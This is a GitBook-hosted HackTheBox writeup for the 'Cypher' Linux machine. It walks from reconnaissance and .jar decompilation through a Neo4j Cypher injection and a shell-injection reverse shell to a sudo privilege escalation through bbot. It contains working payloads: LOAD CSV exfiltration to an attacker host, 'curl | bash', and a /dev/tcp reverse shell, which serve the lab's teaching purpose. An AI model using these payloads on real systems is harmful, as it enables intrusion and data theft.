> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md).

# Cypher HackTheBox Writeup

Cypher HackTheBox Medium Linux machine writeup covering Java .jar file reverse engineering with JD-GUI, Vulnerability analysis of custom Java code, Cypher injection in Neo4j, Remote Code Execution (RC

{% embed url="<https://app.hackthebox.com/machines/650>" %}

{% hint style="warning" %}
**Skills:**

* Java .jar file reverse engineering with JD-GUI
* Vulnerability analysis of custom Java code
* Cypher injection in Neo4j
* Remote Code Execution (RCE) through unsanitized input
* Post-exploitation enumeration and credential reuse
* Privilege escalation through misconfigured sudo permissions
* Secure flag extraction and cleanup procedures
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-907c007f4ce2c70653e37c58298bcfa02a9ca5c5%2Fimage%20(522).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a37e75176085c2a4712ef4e9398779fc8ced2373%2Fimage%20(523).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.57 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b1347fd3cc24b52f726afa4cf6e94f65aeadb8b%2Fimage%20(524).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port Version Scan with Nmap:**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p22,80 10.10.11.57 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-72e34ed3a3efcc5a48016556541506c9f7734061%2Fimage%20(525).png?alt=media" alt=""><figcaption></figcaption></figure>

The IP is then added to our `/etc/hosts` file:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f730170d080441d2185038d5e784b3eaf6a0e9f%2Fimage%20(526).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Web Analysis - Port 80 (HTTP)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c23ed8aca7b68e159e0b49bd91bfe226ad5d19b5%2Fimage%20(527).png?alt=media" alt=""><figcaption></figcaption></figure>

**Gobuster** is used to list directories:

```bash
gobuster dir -u http://cypher.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e5ff01521a077aa3c51fc583b1ccdceef7ea039e%2Fimage%20(529).png?alt=media" alt=""><figcaption></figcaption></figure>

The `/testing` directory contains a `.jar` file. We extract:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f25263d2d70d7f1a4cccc0e326cc89c0e8ad8a72%2Fimage%20(530).png?alt=media" alt=""><figcaption></figcaption></figure>

Inspect the structure with `tree` and open the `.jar` with **JD-GUI**.

```bash
unzip custom-apoc-extension-1.0-SNAPSHOT.jar -d testing
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6edee4f3d30ab8349fbdbd75c323df529623b68c%2Fimage%20(531).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6d60714bdf7ce16c54310a96f1cc10963b25f1d%2Fimage%20(532).png?alt=media" alt=""><figcaption></figcaption></figure>

We discover a vulnerable command:

```java
String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7aa86a5490199d3ccbc233a784c3c9aedcbee75c%2Fimage%20(533).png?alt=media" alt=""><figcaption></figcaption></figure>

**Vulnerability**: URL is not escaped, allowing a /*/* shell/*/* injection.

## Injection Neo4j Cypher

A login form is vulnerable. An error appears when between `'`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fdd8cf44a1edf70a4645ece22f4961a7d1c95275%2Fimage%20(528).png?alt=media" alt=""><figcaption></figcaption></figure>

We inject a payload Cypher to recover the version of Neo4j:

{% code overflow="wrap" %}

```json
{
  "username": "' OR 1=1 WITH 1 AS a CALL dbms.components() YIELD versions UNWIND versions AS version LOAD CSV FROM 'http://10.10.14.90/?v=' + version AS l RETURN 0 AS _0 //",
  "password": "test"
}
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50f9168c74d0cd7c63be185df31f6548eb8f5375%2Fimage%20(512).png?alt=media" alt=""><figcaption></figcaption></figure>

On our server, we receive the request:

```bash
python3 -m http.server 80
# --> 5.24.1
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9baaeb89e343beed19b7b3cd39cff980c0e09ec9%2Fimage%20(511).png?alt=media" alt=""><figcaption></figcaption></figure>

### NCE via call to `custom.getUrlStatusCode()`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46196c341a54a371a11baab752b242dc4a221de9%2Fimage%20(513).png?alt=media" alt=""><figcaption></figcaption></figure>

Place a reverse shell in `index.html`:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.80/443 0>&1
```

Place a reverse shell in `index.html`:

```bash
nc -nlvp 443
```

Use the joint injection to call this **custom.getUrlStatusCode**

```bash
{
  "username": "admin' return h.value AS value  UNION CALL custom.getUrlStatusCode(/"127.0.0.1;curl 10.10.14.90/index.html | bash;/") YIELD statusCode AS value  RETURN value ; //",
  "password": "test"
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81135f92277de943d8fca1f44090dcecf8f2e270%2Fimage%20(514).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Shell Improvement:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Pivoting - User Graphasm

In `/home/graphasm/` there is a `pwn.py` file containing a password

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f7ec4d35d62f81b020c5d0b16d87ceeadefbf3d%2Fimage%20(515).png?alt=media" alt=""><figcaption></figcaption></figure>

* cU4btyib.20xtCMCXkBmerhK

#### Reuse of password

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91a9236a0aa15979f499c44081d0b37fffdea6fb%2Fimage%20(516).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

### Sudo - bbot (binary)

Audit of fees sudo:

```bash
sudo -l 
```

The user can run `/usr/local/bin/bbot` in root.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10fc8f8f88230caa2d796f703db2f19c6fae5965%2Fimage%20(517).png?alt=media" alt=""><figcaption></figcaption></figure>

Contents of `/usr/local/bin/bbot`:

```python
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script/.pyw|/.exe)?$', '', sys.argv[0])
    sys.exit(main())
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be6a8ba276a1e956c4b040f1acd221d23c438005%2Fimage%20(519).png?alt=media" alt=""><figcaption></figcaption></figure>

### Exploitation :

This script simply transmits arguments to the main function of `bbot`. As we can control the arguments provided, we can use a feature of `bbot` to play any file — including those that are accessible only by user **root**.

After consulting the help or documentation for using `bbot`, we identified options for specifying a target file and an output directory:

```bash
sudo /usr/local/bin/bbot -t /root/root.txt -o /tmp/root -d
```

**Explication :**

* `-t /root/root.txt`: sets the target file to be processed.
* `-o /tmp/root`: specifies the output directory (where the results will be stored).
* `-d`: Enables debugging mode, in case additional information is needed.

As the script runs with the **root** privileges and no validation of the ns entries is performed, this allows us to play arbitrary files, including the final file containing the **flag root**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-38f304ff0dd3239d615ef146d27350e3eec435f9%2Fimage%20(521).png?alt=media" alt=""><figcaption></figcaption></figure>

<div align="center" data-full-width="false"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9399f661511622d569be36e245b040792dcc3690%2Fimage%20(518).png?alt=media" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
